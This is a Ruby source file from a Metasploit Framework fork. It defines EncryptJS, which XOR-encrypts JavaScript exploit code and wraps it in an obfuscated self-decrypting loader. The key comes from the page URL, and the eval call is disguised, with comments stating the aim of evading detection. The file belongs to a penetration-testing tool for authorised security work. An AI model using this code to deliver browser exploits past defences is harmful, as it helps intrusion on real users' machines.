/lib/rex/exploitation/encryptjs.rb

https://github.com/ceballosm/metasploit-framework · Ruby · 77 lines · 30 code · 8 blank · 39 comment · 2 complexity · 9715e7acf8d6e81bd2291b3ef320bec2 MD5 · raw file

  1. module Rex
  2. module Exploitation
  3. #
  4. # Encrypts javascript code
  5. #
  6. class EncryptJS
  7. #
  8. # Encrypts a javascript string.
  9. #
  10. # Encrypts a javascript string via XOR using a given key.
  11. # The key must be passed to the executed javascript
  12. # so that it can decrypt itself.
  13. # The provided loader gets the key from
  14. # "location.search.substring(1)"
  15. #
  16. # This should bypass any detection of the file itself
  17. # as information not part of the file is needed to
  18. # decrypt the original javascript code.
  19. #
  20. # Example:
  21. # <code>
  22. # js = <<ENDJS
  23. # function say_hi() {
  24. # var foo = "Hello, world";
  25. # document.writeln(foo);
  26. # }
  27. # ENDJS
  28. # key = 'secret'
  29. # js_encrypted = EncryptJS.encrypt(js, key)
  30. # </code>
  31. #
  32. # You might use something like this in exploit
  33. # modules to pass the key to the javascript
  34. # <code>
  35. # if (!request.uri.match(/\?\w+/))
  36. # send_local_redirect(cli, "?#{@key}")
  37. # return
  38. # end
  39. # </code>
  40. #
  41. def self.encrypt(js, key)
  42. js.gsub!(/[\r\n]/, '')
  43. encoded = Rex::Encoding::Xor::Generic.encode(js, key)[0].unpack("H*")[0]
  44. # obfuscate the eval call to circumvent generic detection
  45. eval = 'eval'.split(//).join(Rex::Text.rand_text_alpha(rand(5)).upcase)
  46. eval_call = 'window["' + eval + '".replace(/[A-Z]/g,"")]'
  47. js_loader = Rex::Exploitation::ObfuscateJS.new <<-ENDJS
  48. var exploit = '#{encoded}';
  49. var encoded = '';
  50. for (i = 0;i<exploit.length;i+=2) {
  51. encoded += String.fromCharCode(parseInt(exploit.substring(i, i+2), 16));
  52. }
  53. var pass = location.search.substring(1);
  54. var decoded = '';
  55. for (i=0;i<encoded.length;i++) {
  56. decoded += String.fromCharCode(encoded.charCodeAt(i) ^ pass.charCodeAt(i%pass.length));
  57. }
  58. #{eval_call}(decoded);
  59. ENDJS
  60. js_loader.obfuscate(
  61. 'Symbols' => {
  62. 'Variables' => [ 'exploit', 'encoded', 'pass', 'decoded' ],
  63. },
  64. 'Strings' => false
  65. )
  66. end
  67. end
  68. end
  69. end